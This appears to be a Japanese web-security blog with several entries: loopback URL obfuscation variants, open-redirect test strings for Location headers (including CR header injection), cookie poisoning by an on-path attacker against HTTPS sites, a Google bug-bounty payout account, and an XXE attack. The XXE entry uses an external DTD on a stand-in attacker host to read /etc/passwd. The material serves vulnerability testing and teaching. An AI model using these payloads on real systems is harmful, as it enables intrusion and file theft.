loopback

http://127.0.0.1/ と同じ意味となりうるURL。
ブラウザでアクセスするというよりは、HTTPクライアントとして機能するWebアプリに食わせます。
(一部のサーバ環境でしか動かないものもあります。)

http://127.0.0.1/               普通の表記
http://127.0.1/                 2,3番目のバイトをまとめる
http://127.1/                   2,3,4番目のバイトをまとめる
http://127.1.2.3/               2,3,4番目のバイトは何でもいい
http://127.66051/               上の2,3,4番目のバイトをまとめる
http://017700000001/            全バイトをまとめて8進数で
http://0017700000001/           0をもうひとつ
http://2130706433/              全バイトをまとめて10進数で
http://02130706433/             0を頭につけても10進数と解釈する環境も
http://2130772483/              127.1.2.3の全バイトをまとめて10進数で
http://0x7F000001/              全バイトをまとめて16進数で
http://0x37F000001/             32bitを超える数でoverflow 16進数
http://15015608321/             同上 10進数
http://0177.0.0.0x0001/         先頭バイトを8進数、4番目を16進数に
http://12%37.0.0.%31/           URLエンコード
http://12[TAB]7.0.[LF]0.1/      空白文字を入れる
http://a:a@127.0.0.1/           user/password付き
http://127.0.0.1./              お尻にドット
http://localhost./              上と同じ
http://localhost.localdomain/   hostsに書いてあるかも
http://example.jp/              DNSが127.0.0.1を返せば

ほとんどのは、How to Obscure Any URL にのってます

最近買った本

Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'

Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'

sla.ckers.orgのXSS板とかでよく見る人たちが著者に名前を連ねています。

行きの電車の中で読んでますが、まだ40ページくらい。先は長いです。

徳丸さんの本です。先ほどアマゾンでぽちりました。

Web開発者向けのセキュリティ本としてはこれ、という本になるんでしょうね。

目次を見ると、4章が盛りだくさんな感じです。

オープンリダイレクト検査:Locationヘッダ編

オープンリダイレクタを脆弱性とみなすべきかは議論が分かれるところです。Google等の一部のサイトは、自サイトのオープンリダイレクタを脆弱性としてはみていません。一方で、脆弱性検査の現場では、見つかれば脆弱性として報告することが多いと思います。

その辺の議論はおいておいて、オープンリダイレクタの検査は、ブラウザの特性もからんで意外とバリエーションが多くて面白いので、本日の日記で取り上げてみたいと思います。

大まかにいうと、リダイレクトは、302応答のLocationヘッダ、Refresh(HTTPヘッダ、METAタグ)、JavaScriptによるものがありますが、本日は302応答のLocationヘッダのリダイレクタについて取り上げます。

パターン1:サブドメイン部分に値が入る場合

以下のように、サブドメインの箇所が動的なケースです。

Location: http://{$u}.hatena.ne.jp/hoge

このリダイレクタ("redir.cgi" とします)を悪用して、"example.com" ドメインにリダイレクトさせることを目指します。なお、$uの正常な値は "www" で、LF(%0A U+000A)は使えないとします。

まずは、一番基本的な検査文字列3つです。

■1A: redir.cgi?u=example.com/www
 → Location: http://example.com/www.hatena.ne.jp/hoge

■1B: redir.cgi?u=example.com?www
 → Location: http://example.com?www.hatena.ne.jp/hoge

■1C: redir.cgi?u=example.com%23www  (%23 => #)
 → Location: http://example.com#www.hatena.ne.jp/hoge

上の1A、1B、1Cでは、URL内で区切りとして使用される "/", "?", "#" を使っています。

アプリがブラックリストでパラメータuの値チェックをしているとしても、上の3つの記号については対策されていることは割とあります。その場合は、以下の1D〜1Fを試します。

■1D: redir.cgi?u=example.com;www
 → Location: http://example.com;www.hatena.ne.jp/hoge

■1E: redir.cgi?u=example.com:80www
 → Location: http://example.com:80www.hatena.ne.jp/hoge

■1F: redir.cgi?u=example.com\www
 → Location: http://example.com\www.hatena.ne.jp/hoge

1D, 1Eは ";" と ":" を使用しています。いずれも、FirefoxOperaでホスト名の終端として認識され、"example.com" にリダイレクトします。":" を使う場合は、その直後に妥当なポート番号を付けて ":80" のような値にしなければリダイレクトしません。

1Fは "/" の代わりに "\" を使っています。IEChromeで動作します。

次からは制御文字を使う検査文字列です。

■1G: redir.cgi?u=example.com%00www
 → ① Location: http://example.com
 → ② Location: http://example.com[0x00]www.hatena.ne.jp/hoge

1GはNULL(%00 U+0000)を使っています。応答のLocationヘッダを2パターン書いていますが、Apache上のCGIPHPで試してみると、NULL以降が消えてなくなった①のLocationヘッダが返されます。その場合は、当然 "example.com" にリダイレクトします。

仮に、②のような応答が返っても、たいていのブラウザはHTTPヘッダのNULL以降を無視するので、"example.com" にリダイレクトします(Safariだけは違う)。

もう一つ制御文字を使う検査文字列です。

■1H: redir.cgi?u=example.com%0Dwww
 → Location: http://example.com[0x0D]www.hatena.ne.jp/hoge

IEOperaChromeでは、CR(%0D U+000D)以降が無視されて、"example.com" にリダイレクトします。正確に言うと、これらのブラウザはCRをヘッダ行の区切りとして認識しています。つまり、この検査文字列は、HTTP Header Injectionを利用しています。

パターン2:スラッシュが先頭に付けられる場合

余り見ませんが、こんなケースです。

Location: /{$u}

$uの正常な値は "foo/bar.cgi" で、LF(%0A U+000A)は使えないとします。

こんなケースでの基本的な検査文字列は以下です。

■2A: redir.cgi?u=/example.com/foo/bar.cgi
 → Location: //example.com/foo/bar.cgi

URLの先頭の、"http:" や "https:" は省略可能なので、2Aは "example.com" にリダイレクトします。

たいていのアプリは上の2Aで詰むのですが、先頭に "/" が使えない場合は以下のような検査文字列があります。

■2B: redir.cgi?u=\example.com/foo/bar.cgi
 → Location: /\example.com/foo/bar.cgi

■2C: redir.cgi?u=%09/example.com/foo/bar.cgi
 → Location: /[0x09]/example.com/foo/bar.cgi

2Bでは、"/" の代わりに "\" を使っています。IEChromeで動作します。2Cはタブ(%09 U+0009)を使っています。IEChromeは、URLに含まれるタブ等の文字を無視するため、2Aと同様に動作します。

パターン3:Locationヘッダの先頭に値が入る場合

こんなケースです。一番良く見るパターンです。

Location: {$u}

$uの正常な値は "http://www.hatena.ne.jp/foo/" で、LF(%0A U+000A)は使えないとします。

外部にリダイレクトしないように、パラメータuの値を何らかの方法でチェックしていても、それが不完全ならば下の3A、3Bが通ってしまうかもしれません(このような値が通ることは少なくありません)。

■3A: redir.cgi?u=http://www.hatena.ne.jp.example.com/foo/
 → Location: http://www.hatena.ne.jp.example.com/foo/

■3B: redir.cgi?u=http://example.com/http://www.hatena.ne.jp/foo/
 → Location: http://example.com/http://www.hatena.ne.jp/foo/

元のURL(http://www.hatena.ne.jp/)のサブドメイン(www)の箇所のチェックが不完全ならば、下の3Cが通ってしまうかもしれません。

■3C: redir.cgi?u=http://example.com?.hatena.ne.jp/foo/
 → Location: http://example.com?.hatena.ne.jp/foo/

「パターン1:サブドメイン部分に値が入る場合」で見たように、上の3Cの "?" の箇所を、";", "#", ":80", "\", NULL, CR などに変えるバリエーションがあります。

先頭が "/" で始まる値が許容される場合は、下の3Dのような検査パターンが通るかもしれません。

■3D: redir.cgi?u=//example.com/foo/
 → Location: //example.com/foo/

「パターン2:スラッシュが先頭に付けられる場合」でみたように、上の3Dの "/" を "\" にするなどのバリエーションがあります。

テストしたブラウザ

IE8、Firefox3.6、Opera10、Safari5、Chrome9(いずれもWindows Vista版)。

他人のCookieを操作する

脆弱性検査をしていてしばしば出くわすのは、他人のCookieの値を操作できるとXSSやセッション固定等の攻撃が成功するようなWebアプリケーションです。

このようなアプリがあると、業界的には「Cookie Monsterという問題がありまして、、、でも、、、基本的に現状のブラウザではリスクは低いです」みたいな話がされることが多いのではないかと思います。

本日の日記では、それ(Cookie Monster)以外にも状況によっては考慮すべきことがある、という話をしたいと思います(過去の日記でも少し書いた話ですが、もう少しちゃんと書いておこうと思います)。

通信経路上に攻撃者がいる

被害者のブラウザとサーバの通信経路上に、アクティブな攻撃者がいると想定しましょう。

そのような状況では、攻撃者は正規のサーバになりかわってブラウザと通信をしたり、ブラウザと正規のサーバで交わされる通信に介入することができます。もちろんそれが可能なのは、通信がHTTP(SSLではないということ)の場合に限られます。

言うまでもなく、そのような状況では、攻撃者は対象サイトのCookieを被害者のブラウザにセットすることができます。

HTTPを使うサイトの場合

通信経路上に攻撃者がいる状況では、そもそもCookieをブラウザにセットできるという以前に、攻撃者はHTTPのリクエスト・レスポンスを好きに盗聴・改竄できます。

WebサイトがHTTPを使用しており、通信経路上に攻撃者がいるリスクを考慮しないと決めている場合には、通信経路上の攻撃者によりCookieがセットされるリスクもまた考慮する必要はありません。

問題は、WebサイトがHTTPではなくHTTPSを使用している場合です。

HTTPSを使うサイトの場合

世の中には、通信経路に攻撃者がいてもセキュアで無ければならないサイトもあります。そのようなサイトは通常HTTPSを使用します。

HTTPSのサイトでは、以下のような攻撃のリスクを考慮する必要があります。

  1. 被害者をHTTPで対象サイトにアクセスさせる
    攻撃者が通信経路上にいる場合、これは難しいことではありません。攻撃者は偽のSet-Cookieを含む応答を被害者のブラウザに返し、そのままHTTPSのページにリダイレクトさせます。
  2. 被害者はHTTPSで対象サイトにアクセスする
    このリクエストでは1でセットされたCookieがサーバに送られてしまいます。

3点ほど補足します。

1点目は、上の(1)のリクエストはHTTPであり、セキュリティ警告のポップアップ等を出すことなく被害者のレスポンスを偽造しCookieを汚染することができるということです。

2点目は、対象サイトがHTTPSだけしか使っておらず、したがってHTTPのポートを開けていないとしても、(1)の攻撃は可能だということです。途中にいる攻撃者はHTTPが開いているかのごとくブラウザに応答することができるからです。

3点目は、(1)のCookieはHTTPでセットされたものですが、(2)のHTTPSのリクエストでサーバに送られてしまうということです。Cookieの仕組み上そうなってしまいますし、HTTPのCookieHTTPSCookieは区別することもできません。

CookieXSSする脆弱性がWebアプリにあるならば、通信経路上の攻撃者が上の(1)でCookieに植えつけた攻撃コードが(2)の応答で実行されます。ここで重要なのは、(2)がHTTPSであり、HTTPSのコンテキストでJavaScriptが実行されてしまうということです。

つまり通信経路上の攻撃者が、セキュア属性付きのCookieを盗んだり、HTTPSのページの内容を盗んだり改竄したりできるということになります(もはやCross-Site Scriptingとはいえない攻撃ではありますが、リスクとして考慮すべき攻撃です)。

XSSではなくセッション固定の脆弱性がWebアプリにあるならば、通信経路上の攻撃者がHTTPSで保護されたセッションを固定化し、なりすまし等ができるということになります。

まとめ

まとめると、通信経路に攻撃者がいてもセキュアであるべきサイト(HTTPSのサイト)については、「他人のCookieは操作できない」という前提でセキュリティを考えることはできないということです。

理由は(「Cookie Monster」等とは関係なく)、HTTPの通信に介入できる攻撃者はCookieを操作できるからです。

GoogleのReward Program

少し前の話ですが、Googleが自身のWebサイトの脆弱性発見者に対して、報酬(現金 500 USD以上)を支払うプログラムをはじめています。

Google Online Security Blog: Rewarding web application security research

過去にも、脆弱性の発見者に報酬を支払うプログラムはありましたが、Webブラウザ等のソフトウェアの脆弱性が対象でした(参考)。

今回のプログラムでは、Webアプリの脆弱性が対象だというところが特色です。しかも、実際に運用されている本番のGoogleサイトの脆弱性が対象です。その脆弱性の発見者に報奨金を払うということは、(一定の制約は設けていますが)基本的に自由に本番サイトの検査をしてよいといっているわけです。

実際にやってみる

Webアプリの診断をやっているものにとっては、これ以上のお小遣い稼ぎはない!と思って私も参加してみました。20〜30ページくらい見れば、XSSくらいは簡単に見つかるだろうと思っていたのもあります。

ですが、始めてすぐに、さすがにGoogleというべきか、trivialな脆弱性はまず見つからないだろうということに気が付きました。かなり堅い作りがされているということです。しかも、自動検査ツールは使えないし(使ってはならないと決められている)、JavaScriptは殆どminifyされているし・・・ということで、脆弱性を探すのはかなり骨がおれる作業になりました。

結局、数日かけてなんとか2件脆弱性を発見して報告しました。発見した脆弱性の内容は修正完了後に公開してよいことになっています。私が発見した2件は、まだ一部直っていないものがあるようです。修正されたら公開しようと思います(Googleも公開することを推奨しています)。

報告〜お金を受け取るまでの流れ

Reward Programに興味のある方もいると思いますので、報告〜お金を受け取るまで書いてみます。

まずはレポートです。発見した脆弱性の内容を英語で書いて、メールで報告しました。報告先のメールアドレスはこちらに書かれています。

今回は報告した2件とも、報奨対象の脆弱性と認められました(ものによっては対象外とみなされることもあるようです)。

脆弱性を報告してから1週間もたたないうちに、

Congratulations! The panel has decided to award you $1000 for the vulnerability.

というようなメールが来ました。いかにも怪しい書き出しのメールですが本物です。今回は、報告した2件のうち1件(XSS)は1,000 USD、もう1件(ロジック系)は500 USDということでした。金額は、脆弱性の危険度や"賢さ度合い"によって決まるとのこと。

あとは報酬の受け取りです。Googleから手順を書いたメールが来るので、その通りにすればよいのですが、少々手間です。

まずは、Googleのサイトでsupplier登録します。Googleに対して物品やサービスを納品するベンダ(会社や個人事業主)として登録することで、Googleから支払いを受けられるようになるわけです。ここでは氏名や銀行口座等を登録します。受け取るお金は米ドルですが、銀行に問い合わせたところ、通常の円建ての普通口座でも問題なく受け取れる(日本円になって入金される)ということだったので、私は日本の銀行の普通口座を登録しました。

次にW8BENフォームの提出を求められました。W-8BENフォームの記入方法(書き方)を参考にしてPDFのフォームに記入してプリントアウトし、手書きで署名したものをスキャナーで読み込んで、メール添付で送りました。

このW8BENを提出すると、私のように米国外に居住している人間は、米国で所得税源泉徴収されなくなります。しかし、日本での納税の義務はあります(私のようなサラリーマンなら、給与以外の所得は年間20万円まで非課税だと思いますが、各々確認ください)。

最後に、脆弱性の報告者として自身の名前を公表して欲しい場合はその旨を連絡します。名前はこのページに載りました(私以外にも日本人ぽい名前がのってます)。

なお、お金の方はW8BENを送ってから3週間ほどで「振り込んだよ」というメールが来ました。確認したところ口座に入金されていました。

実際にやる場合は

以下のページに色々と注意事項などが書いてありますので、まずは一読を。

Google Online Security Blog: Rewarding web application security research

Program Rules – Application Security – Google

属性値のXXE攻撃

以前、属性値でのXXE(Xml eXternal Entity)攻撃を試したのですが、やり方がよく判りませんでした。

最近また試してみて、属性値での攻撃方法が判ったので日記に書いてみます。

Servletプログラム

以下のようなJava Servletプログラムをサーバに置きます。

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.w3c.dom.*;
import org.apache.xerces.parsers.*;
import org.xml.sax.*;

public class AttrTest1 extends HttpServlet {
  public void service(HttpServletRequest request,
                      HttpServletResponse response)
    throws ServletException, IOException {

    try {
      // リクエストBODYをParseする
      DOMParser parser = new DOMParser();
      parser.parse(new InputSource(request.getInputStream()));

      Document doc = parser.getDocument();
      // data1要素を取り出す
      Element data1 = (Element)doc.getElementsByTagName("data1").item(0);
      // data1要素のattr1属性の値を取り出す
      String attr1 = data1.getAttribute("attr1");

      // attr1属性値を出力する
      response.setContentType("text/plain; charset=UTF-8");
      PrintWriter out = response.getWriter();
      out.println("attr1 value: " + attr1);
    }
    catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
}

プログラム内のコメントの通り、リクエストのBODYをParseして、data1要素のattr1属性値を取り出して、その値をレスポンスします。

このプログラムは、以下のような入力・出力処理を行います。

【入力】<data1 attr1="111&gt;222"></data1>

【出力】attr1 value: 111>222
ダメな攻撃方法

すぐに思いつくのは、下のようなXMLを食わせる攻撃です。

<?xml version="1.0"?>
<!DOCTYPE data1 [
<!ENTITY pass SYSTEM "file:///etc/passwd">
]>
<data1 attr1="&pass;"></data1>

しかし、これだとParseエラーとなってうまくいきません。どうも、属性値内では外部実体参照は使えないようです。

XMLの仕様書の「3.1 Start-Tags, End-Tags, and Empty-Element Tags」にも以下のような記述がありました。

Well-formedness constraint: No External Entity References

Attribute values MUST NOT contain direct or indirect entity references to external entities.

Extensible Markup Language (XML) 1.0 (Fifth Edition)]
属性のデフォルト値を使う

じゃあどうすればいいんだという話です。

以前の日記(XMLをParseするアプリのセキュリティ(補足編)- T.Teradaの日記)で使った手法と似ていますが、パラメータ実体を使って属性のデフォルト値を細工するとうまくいきます。

まず、以下のような外部DTD(test1.dtd)を、攻撃者のサーバ上に用意します。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ATTLIST data1 attr1 CDATA '%p1;'>">
%p2;

1行目でパラメータ実体(%p1;)を定義します。「%p1;」は、攻撃対象サーバ上の/etc/passwdファイルの中身を参照します。次の行では、data1要素のattr1属性のデフォルト値を「%p1;」(つまり/etc/passwdの中身)だと定義するためのパラメータ実体(%p2;)を用意します。最後の行で「%p2;」を展開して、「%p2;」の中身をDTDとして評価させます。

攻撃対象のServletプログラムには、下のXMLを食わせます。

<?xml version="1.0"?>
<!DOCTYPE data1 SYSTEM "http://attacker/test1.dtd" >
<data1 />

外部DTD(test1.dtd)により、data1要素のattr1属性が指定されない場合のデフォルト値は/etc/passwdファイルの中身になるため、属性値を省略したXMLを食わせると攻撃対象サーバ上の/etc/passwdの中身が返ってきます*1

#ただまあこの方法が使えることは滅多にないと思いますが…

*1:返ってくるとき、ファイルの中身に含まれる改行文字はスペースに正規化された状態になっています。